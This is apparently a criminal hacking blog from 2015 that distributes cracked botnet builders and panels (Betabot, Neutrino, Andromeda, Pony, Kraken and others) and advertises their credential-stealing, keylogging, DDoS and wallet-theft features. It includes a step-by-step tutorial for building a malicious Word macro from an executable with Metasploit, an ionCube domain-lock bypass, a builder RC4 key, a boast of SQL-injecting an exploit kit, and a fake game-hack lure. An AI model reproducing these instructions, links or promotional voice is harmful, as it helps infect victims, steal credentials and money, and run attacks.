Donation

Donate? BTC: 1B6qSDr4gn6jZTWxdAJoHHPYQDPeoaL2CS

Friday, July 10, 2015

BETABOT 1.8 [NEWEST VERSION] CRACKED!

Beta 1.8 panel screenshots:
http://goo.gl/rJAvgV
http://goo.gl/9nYE6g
http://goo.gl/RMvR38
http://goo.gl/ihw3WT
http://goo.gl/fJxWqv
http://goo.gl/sG5lkg
http://goo.gl/mxFTXu

#1: A seperate option for Cryptocurrency miner proactive defense was added because the "General proactive defense" is still too effective to run successfully on a net that you download other tools to. We recommend you keep "General proactive defense" OFF unless you know what you are doing

#2: The live login grabber has undergone some relatively decent changes. First, some ssl pop3 sessions, and to a more limited degree, ftp as well, are able to be inspected. SSL POP3 grabber does not grab ALL email logins over SSL as each mail client has their own ways of handling cryptography. However Outlook and some others are supported which in turn has drastically boosted the number of relevant logins able to be captured. Valuable logins such as Hotmail/Live and GMail are now more prevelant. Lastly, if the bot is able to determine what domain was used to contact the server, it will be sent instead of the IP address.

#3: Not all tasks report more detailed information. Currently only download/update/botkill tasks are informative

#4. AVKill development has stopped for the time being and some methods have been removed. AVKill will not be nearly as effective for this reason.



DOWNLOAD LINK TO BUILDER: We have switched to http://lethaldose.me

SKYPE FOR SUPPORT:none

Saturday, July 4, 2015

Neutrino HTTP Botnet cracked! BUILDER + PANEL | DDOS | FORMGRAB | LOADER!


Neutrino Bot

- The main functional
* HTTP (S) flood (methods GET \ POST) 
* Smart DDoS
* AntiDDOS flood (Emulation js \ cookies)
* Slowloris flood
* Download flood
* TCP flood
* UDP flood


* Loader (exe, dll, vbs, bat ... + can specify parameters for running the file)
* Keylogger (Multilanguage) (support for virtual keyboards (removal of screenshots in the clique size 60x60)) (possibility to monitor the specified window)
* Command shell (remote command execution using shell windows)
* Stealing files by mask (eg bitcoin wallets)
* Launch the browser with one of these links (aka Cheaters views)
* Spoofing Hosts
* Stilling Win keys
* Reproduction (USB \ Archive)
* Purity downloads (number found "neighbors" on the computer)
* Identifying the installed AV (on all Windows except Server)
* Update
* Work through the gasket

- Additional Features
* Anti debugging
* AntiVM
* Detect sandboxes
* Detect all online services automatic analysis
* BotKiller

* Bot protection (protection process \ file \ registry branches)
* Unlimited number of concurrent commands (Some teams have a higher priority than others, and their execution stops others)
* Unlimited number of backup domain
* Quiet operation even under a limited account
* Do not load the CPU

- Functional admin
* Flexible system for creating jobs
* Detailed statistics for bots
* Ability to give commands to each country separately or bot
* Customizable otstuk bots
* Sort bots in Articles IP \ Live \ Country \ OS
* System Bans.

- Weight uncompressed binary file ~ 50kb (PL - C)
- Boat tested on the entire line of Windows, from XP to 8.1 (x32/64)

tags -
Full set (+ bot + admin panel to build an unlimited number of domains) - $ 200
Rebuild (also unlim. Quantity domains) - $ 10
Update (functional) - $ 20
Builder - $ 550
Payment - WM \ BTC \ Perfect







We have switched to https://lethaldose.me to download











Sunday, May 31, 2015

{IOS+ANDRIOD} Clash of clans hack | PRIVATE SERVER | FREE! NO JAILBREAK! NO SURVAY

So many fake clash of clans hacks. A buddy of mine showed me this simple trick to get unlimited everything. The trick is called "God-Of-Gems". It's a very simple program. The program will get you a .ipa that you will later import into your device using "I-Funbox".

WORKING AS OF 5/31/15

ENJOY! PLEASE EMAIL: botzone0@gmail.com for setup help!

Tags:
  • Gems hack
  • Gold hack
  • Elixir hack
  • Anti-ban
  • User-friendly design
  • Android/iOs/Social platforms compatible
  • Jail break require: NO
  • Root require: NO
  • 100% virus safe
  • Automatic update check
  • Many other resources



IOS(IPHONE) We have switched to http://lethaldose.me for downloads
ANDRIOD LINK: We have switched to http://lethaldose.me for downloads

Wednesday, May 27, 2015

Andromeda v2.06 botnet cracked + download

Its been awhile sense I've posted anything, so I thought I might share a rather old, but still decent botnet. This botnet is classified as a loader, and back when it was sold on exploit.in (2013ish) It included a formgrabber, I believe it was sold for about $500. The formgrabber was a very large part of its sales.

Included in the botnet files, there are 3 plugins.

r.pack -

r.pack is the rootkit, the rootkit is basically dead now, but its always good to include.

f.pack -

f.pack is the formgrabber module. I'm almost 100% sure it doesn't work on the cracked version, but feel free to prove me wrong if you can:)

s.pack -

The local socks plugin, this is also very useful.


Just so you guys know, the rc4 key you need to use is d40e75961383124949436f37f45a8cb6





















Builder link: We have switched to http://lethaldose.me for downloads
Panel link: We have switched to http://lethaldose.me for downloads

Sunday, May 10, 2015

Ioncube domain lock bypass poc

This post was mostly made for my article http://botzone1.blogspot.com/2015/03/kraken-http-botnet-cracked-downloads.html

Basically all you need is to know the locked domain, wether its the ip or domain itself, and if the domain lock has a expire date, you need to change the system time to that time.

For time fix (to overwrite the time() function) you need to install http://pecl.php.net/package/apd
For windows just download module php_apd.dll (PECL) from http://www.php.net/releases/index.php and add to php.ini
Windows: http://scratch99.com/web-development...pd-on-windows/

In this script bellow I used 11.22.33.44 as locked IP example.

http://adf.ly/1GuNrx


credits to members of trojanforge

Quick Manual:
1. Just make a virtual host for ioncube files.
----
2. Call this script ioncube-bypass.php and place it in the "real" htdocs:
3. Make a .htaccess file:

Code:
RewriteEngine on
RewriteRule ^(.*)$ ioncube-bypass.php?$1

Saturday, April 11, 2015

Rig 3.0 source code

Hey everyone, its been awhile sense ive posted anything like this. Recently I checked out rig 3.0, and bought a few days. To my surprise, the whole thing was sql inject able, so i went ahead and took the database, and got the source while I was at it.

I'm not sure what im going to do, I could re-sell, I could just sell the source, I could sell the exploits, or I could just leak it.

3.0 is different than 2.0, the exploits are accessible on the main panel, so now i have access to 5+ HQ exploits, this just gets better and better.





















shoot me an email if you are interested..

botzone0@gmail.com

Sunday, March 22, 2015

Bitcoin Switcharoo BTC stealer source!

Hey everyone, I've been looking around for new programs to crack and release. This program was made on the popular skidforum, "Hackforums.net"

Heres a pic of the thread




















BTC Switcharoo is very simple, it replaces an address on the persons clipboard with your own. This does not start with Windows so you can use it with your crypters if need be. I was intending to make it in .NET, but that would be too easy, so I set myself a challenge.Its coded in C, for those wondering, and compiled with Tiny C Compiler. Tested on XP x86 and Windows 7 x64
 

It was an easy crack.


source: We have switched to http://lethaldose.me for downloads

another easy crack. See you all later!

Saturday, March 21, 2015

How to make money from your botnet! Quick and easy! 7 METHODS!


Hey everyone, this is an ebook i wrote awhile ago, it was originally for HF, then i got no sales, and omni was being a bitch. 


http://adf.ly/1AxukP

Sunday, March 15, 2015

Blue DDOS botnet. Stub source, panel source, builder.

Blue botnet is a high quality ddos botnet. 50 bots apparently can take down the skid infested "hack forums.net".. The "Owner" contacted me looking to buy some bots and a possible partner ship. He didn't have a crypt, and was half mental. He pissed me off so I did some research, took apart his stub, and then finally got ahold of the panel.. The coder is stupid.

Screenshots of the sauce:
















































some info on the botnet:
https://www.youtube.com/watch?v=HJn0bAWsw8I
https://www.youtube.com/watch?v=EjffaU4p3pQ
http://its-ownz.blogspot.com/2015/02/blue-botnet-http-botnet.html


Email: botzone0@gmail.com

WILL GIVE FOR FREE, JUST SHOOT ME AN EMAIL, WILL BE FULLY LEAKED IN 2 DAYS

Friday, March 13, 2015

µBot Botnet source and analysis

I'm sure many people reading this have heard of the malware with the name of "uBot". The source of this botnet was released earlier this year, It was originally named "WebNet". This botnet has a very small stub size of only 9KB compressed, and about 36KB un-compressed.

The features include;

INSTANT Infection, no waiting.
– Download & Execute.
– Update.
– Visit Webpage [Visible].
– Visit Webpage [Invisible].
– Uninstall.
– Add to Startup.
– Critical Process.
– Hidden File.
– Admin detection.
– Mutex.
– Coded in VB6, no .NET Framework dependency!
– Small, ~10kb compressed, 36kb uncompressed.
– Great stability.
Panel:
– Detailed statistics.
– Location plot, map graph.
– Pie Charts [Bot Status, Operating System, Admin].
– Tool-tip for last commands sent for each client.
– Bot selection preferences.
– Integrated Ajax, means everything is realtime! From client list to bot count.

On top of the extremely small stub size, its coded in vb6, so there is no .net dependancies, and the botnet panel is almost or as simple as the betabot 1.7.0.1 panel . This was a very stable botnet in its time, but I'm not sure how stable it is now that it has been leaked and malware researchers have taken a look at it. The main per pose for this botnet was for stability and for easy use.

Heres the downloads.

http://www.mediafire.com/download/vkqg2zgwonr78l9/uBot_Sauce.rar
that download includes the panel + vb6 stub source, and the sql files.

Tuesday, March 10, 2015

.exe to .doc silent macro exploit tutorial

I see everyone trying to sell this for $500++ on various forums, the problem is that people are actually buying it. So, http://botzone1.blogspot.com is going to teach you how to create your own .doc exploit.

Things you will need:

- FUD server (it can be detected, but its going to be like 60/63)
- Metasploit (can be downloaded here)
- Microsoft word (to test it)

The following Microsoft applications are affected:
  • Microsoft Office 2007 SP3
  • Microsoft Word 2007 SP3
  • Microsoft Office 2010 SP1 and SP2 (32-bit and 64-bit editions)
  • Microsoft Word 2010 SP1 and SP2 (32-bit and 64-bit editions)
  • Microsoft Office for Mac 2011
  • Microsoft Office Compatibility Pack SP3
  • Microsoft SharePoint Server 2010 SP1 and SP2 with Word Automation Services
  • Microsoft Word Web Apps 2010 SP2 and prior

 Alrighty, lets get started.

You're going to want to fire up the metasploit pro console, it might take a few minutes for it to be ready for use.

 You should be looking like this:

















alright so you are going to want to type this in "cd C:\metasploit\apps\pro\msf3\tools", and then go into a new windows explorer window and place your infected file into that directory.

Unfortunatly my metasploit just crashed, so I'm going to wing the rest of the tutorial, post any questions in the comments.

alright so now we're inside of the directory, now type this "exe2vba.rb infectedfile.exe evil.vba"

now go back to your windows explorer window, and look in C:\metasploit\apps\pro\msf3\tools and you should see a file called "evil.vba".. if you dont see that file restart.

open the .vba file. There will be two sections in the file (just open it in notepad). The first part is the vba script, and the other part is the shellcode. the shell code is going to look like a bunch of numbers and letters.
exe2vba.rb infected.exe evil.vba






















alright, now open up microsoft word (MUST BE A Vulnerable VERSION!!!) go to view, and select macros


copy the vb code (NOT the letters and numbers) and paste it into the first portion of the vb file






















save it as a word97-2003Doc. alright, almost done! Now open the document and paste the shell code (letters & numbers) into the document, and save it again. Congratz, you just made the exploit, was it still worth $500? that's what I thought.... I'm going to be posting a tutorial on how to make it completely fud very soon.
c:\metasploit\apps\pro\msf3\tools
c:\metasploit\apps\pro\msf3\tools
c:\metasploit\apps\pro\msf3\tools

Sunday, March 8, 2015

Pony Botnet 1.9 leaked (advanced stealers included)

Pony 1.9 is notorious for banking, bitcoin stealing, and stealing other things..
The Bitcoin theft is in addition to a slew of credentials, over 700,000, that Pony pilfered from September 2013 to January including: 600,000 website login credentials 100,000 email account credentials 16,000 FTP account credentials 900 Secure Shell account credentials 800 Remote Desktop credentials - See more at: http://threatpost.com/latest-instance-of-pony-botnet-pilfers-200k-700k-credentials/104463#sthash.f17KzXK0.dpuf

Pony steals more than 30 concurrency wallets, and is very good at what it does. Some of the botnet is based off the Zeus src source. I personally used this botnet for a year and moved on to more updated malware, but at the time that I used it, it worked fantastically. Most of the panel is in russian, along with the builder, but we were able to translate the russian in the builder.

builder screenshot:

















































The builder was leaked by a member on the forum "TrojanForge" and the botnet was sold on multiple underground forums. The botnet is good at what it does, and is up at the top with betabot, zeus, and citadel.

Here are the downloads..

Builder:
We have switched to http://lethaldose.me for downloads
Panel:
We have switched to http://lethaldose.me for downloads

Coiner HTTP leaked panel

Before I even start to write this article, I want everyone to know that coiner http is the worst bot on the market right now. Its fucking awful. The only reason why im writing this is because its awful and the owner needs to be exposed.


The bot was coded by the member "Sh1eld" on hackforums. its coded in shit.net (vb.net). It claims to have a bunch of features, but every customer claims they never worked, the the botnet it self didnt work.


The owner is selling it for 100$ per bin. But hes accepting paypal? Paypal and malware don't mix well. The coder also leaves a negative reputation on anyone that hates on him. The stub is 110kb, rather large. I really have nothing to say about this bot, its basically a fancier version of ubot with some more features that dont work.


Im going to leak the panel for now, I'm currently working on a builder..


panel screenshot:



panel download: http://www.mediafire.com/download/ygdv4dnys9hd8w2/coiner_panel.rar


builder download:


coming soon:)

Wednesday, March 4, 2015

Tweets

Kraken HTTP botnet cracked + Downloads

Here we have yet another hackforums.net botnet. This is one of the "Higher-end" botnets  on hackforums, kinda like betabot 1.7.0.1 was. I personally never really liked kraken, but after looking deep into the thread it looks somewhat nice. The bot is coded in FASM, and has a surprisingly small stub size (22kb), compared to the un-crypted betabot bin (120kb+). I normally would have bought a bot like this, but the panel is just ugly. REALLY ugly. You will see later in the article. The most recent "update" consists of this, (direct quote from coder/seller)

-> Integrate Rootkit & in the corebin.
-> HTTP Function have got buffer increased.
-> Execution of Task Improved -
-> Minor update on panel
-> FileZilla Updated
-> Pidgin Stealer

-> Chrome & Internet Explorer form grabber finished with support of SPDY
-> Traffic Encoded.
-> CronJob Improve
-> Chrome Steale

-> BOTKILL now disable CriticalProcess or BSOD Protection of other malware. The method is now hard, it's just about disable flags of the process.
-> Logs, export/search
-> Startup Recoded
-> Total Commander FTP Stealer added.

As you can see, its not a bad bot at all. The price tag is a bit hefty though.


so say you were to buy all the add-ons, you would be spending $1000. Betabot was only 500$. in conclusion, betabot WAS the better deal.

Heres some screenshots of the rather ugly panel.


Here's some screenshots of the builder.


The builder was cracked by a member of trojanforge, The name was NoNa.

The panel currently has a domain lock, but you can easily change that with a few tweaks;)

downloads

builder:

We have switched to http://lethaldose.me for downloads

panel:
(remember the domain lock)

We have switched to http://lethaldose.me for downloads

Tuesday, March 3, 2015

The rise and fall of the exploit kit named "RIG"

Hello fellow viewers, tonight I'm going to be making an article explaining the rise and fall of one of the well known exploit kits, "RIG". Rig exploit kit was sold on the forum "exploit.in", a somewhat well-known private Russian forum. After seeing re-sell threads on the forum "HackForums", the owner and one of his "partners" wanted to take action and stop the re-sellers. A user by the name of "0x43" joined the forum and quickly gained reputation, along with some hate on the way. At the start of the sales, the re-seller (0x43) raised the prices almost double what the original coder sold it for on the Russian forum, that raised flags. Some members liked it being sold on hackforums, saying it was a good addition to the forum, and others did not. Below is a quote from a hackforums member when the thread was made

"I really dislike this being sold here, users here are way to unintelligent and too immature." - Hackforums member

one member finally pointed out that the prices were higher than the original seller sold it for. 0x43 said " Price increase. I can set price how ever I set it to."

 After sales went on for weeks, 0x43 was BUSTED, and scammed over 2k+. Shortly after the scammer was exposed, he created a twitter account named "EkMustDie" containing a dump on the most recent rig database and files (stay tuned for download links on that). Long story short, the coder of rig made a huge mistake in trusting this guy, and the rig files were leaked. The member was also banned from HackForums.net permanently.



exploit.in thread (non-scammer non-reseller thread, the coders thread):
hackforums.net thread (SCAMMERS THREAD 0x43's):

I cant seem to upload the image right now, ill update this post asap.

LoadHTTP Botnet cracked + Downloads

Hey BotZone. I recently came across the builder source for the botnet "LoadHttp". This bot was sold on the forum HackForums, and developed by _Stoner, A member of that forum. The botnet cost $500 for one build.

Below is a direct quote from the coder himself.
Pricing:
$500

$50 for update/rebuild
Updates that are purely bug fixes are free.
Customer Support free

For now I only accept BTC.
Contact me on Jabber if you wish to purchase. If you do not have Jabber, register one and contact me.


Now, me being the person I am, i went ahead and bought it... It was a biiiiiiiiiiig mistake. The botnet sucked, there was no rootkit (proven later in the article) and it was just awful.


Some things to know about the bot (direct quote from _Stoner)

Purpose and General Objectives of the Bot:
This botnet is made to be as long-lasting and resiliant as possible. HTTP communication allows for a large number of infections at
once. The program requires no dependencies on the computer except for Windows OS itself: it is coded in C++ (no C-runtime required and supports unicode). The bot has an effective Anti-Virus disabler that supports 31 different security solutions covering a vast 95%+ of the AV market. This means you will retain larger amounts of bots by avoiding a lot of AV detections and removals. It also has an Anti-Malware routine which successfully kills the majority of all malware, even those notorious for being resistant to tampering. The startup key, installed file, and process are all protected. This botnet system is the best of its kind for holding infections for a long time.

Anyways, the botnets not AWFUL, but its still shitty.

The cracked version of the bot was leaked on the forum TrojanForge.co, and the title of the thread was "LoadHTTP shit bot builder" posted by the member NoNh. Although the member duyan13 was the one doing all the work. Almost every reply talks about how the bot is shit, and its another shitty hf bot. lol. Although the coder is continuing to sell the bot on the poplar hacking forum HackForums, sales have dropped tremendously.

Inside of the zip file containing the panel files, and the builder itself, theres a info.txt containing this:

====================================================================================================
====================================================================================================
1) This bot is absolute piece of Shit
2) I take no credit for the builder, I just made it noob friendly for lazy people who asked me kindly so ...
3) Binary is Properly unpacked (modded UPX header Shit)
3) Builder originaly coded by duyan13 all credit on the RE goes to him Too
4) If it is not working for you, maybe you shouldn't be using it ... or it's shit ... or Domain name too long ... anyway see point 1
5) Builder Binary is Packed : MD5 776A76F179E3E0DCD8F8D496AC19925D
====================================================================================================
====================================================================================================

Heres some screenshots of the botnet:
Machines List: http://i.gyazo.com/ac3afa69b8d3b95af3e05bf6cb034267.png
Commands Management[1]: http://i.gyazo.com/9a0ccd7e3a434289ef2bf524cbdff4b9.png
Commands Management[2]: http://i.gyazo.com/59bec71ed534be0053c423e52d6b3178.png
Commands Management[3]: http://i.gyazo.com/e636ac62d4d60afb4791da575b8d08b7.png
Commands Management[4]: http://i.gyazo.com/9e326f8a85e3ac961f935135d3bae857.png
Users Management: http://i.gyazo.com/f117b1648cf2652133d37d233935a63a.png
Preferences: http://i.gyazo.com/3696cfa45df8d1331aeb0775e3e64e0d.png
Login Page: http://i.gyazo.com/72418eb52f7f749230978d5cd807f19b.png 


Heres the download links:

Panel + Builder We have switched to http://lethaldose.me for downloads

Betabot 1.7.0.1 Cracked full download

As some may know, betabot was one of the best botnets for banking, and formgrabbing in its time. It was sold for 500$ a bin by the coder named " Betamonkey" the most recent version of the bot (1.7.0.1) has been cracked, and botzone is here to leak it to you all!
The cracked builder was first found on the forum "HackHound" The forum that also cracked loadhttp botnet (you will see a loadhttp post soon). The original HackHound thread can be found here. The member "duyan13" was the leaker.

A little info on the bot;
Betabot was coded in c++. Some of the earlier versions of this bot were made in 2012-2013 by "Betamonkey" Some of the most notorious features were the formgrabber, and botkiller, and the stability.

Some quotes from the sales thread:
Coded professionally in C++, Beta Bot is the product of nearly a year and a half of hard work, long nights, and uncanny dedication. With the goal of creating a bot with a very diverse list of functioning features for a more than fair price, we’ve searched high and low, talking to everyone possible to create the most appealing and useful bot possible. All of our features work fully (except maybe the experimental Ruskill), nothing included is useless dead weight, and everything should prove to work very efficiently and effectively.
Coded by Betamonkey

Bot Killer
The next-gen Bot Killer in Beta Bot will successfully kill and remove all major malware you may come across when working with Install Shops and Pay Per Install ventures. The Bot Killer scans process and start up locations for suspicious entries. All injected code and crypted files using RunPE methods with be terminated. However, removal of the physical source of injected code from the disk is not always possible.
source: http://www.toolbase.me/board/topic/4754-beta-bot-panel-builder/

Screenshots of the builder:
betabot 1.7.0.1 cracked builder
betabot 1.7.0.1 cracked builder screenshot

Some panel screenshots:
betabot 1.7.0.1 cracked panel
betabot 1.7.0.1 panel screenshots cracked


BUILDER DOWNLOAD LINKS:
you can download the builder here

PANEL DOWNLOAD LINKS:
you can download the panel files here

Contact information:
email: botzone0@gmail.com
(expect a fast reply)